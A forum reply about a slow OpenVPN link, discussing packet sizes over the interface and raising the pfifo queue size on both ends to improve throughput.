Re: OpenVPN sloooow

Mjoelner, i don't really got the point why you want to push 30K sized ICMP packets... TCP and UDP frames will not be sized bigger than 1500bytes as they live you NIC, and OpenVPN will deal with those packets.

After doing this, speed is much increased. Keep in mind: do that for both sides, unless doing it, the speed will slow in that direction. Other way is setting queue size for "default" queue to 250.

by default, OpenVPN uses pfifo type queue, with queue size ~50packets. Make your openvpn interface static (if the link comes up, do copy and rename it).
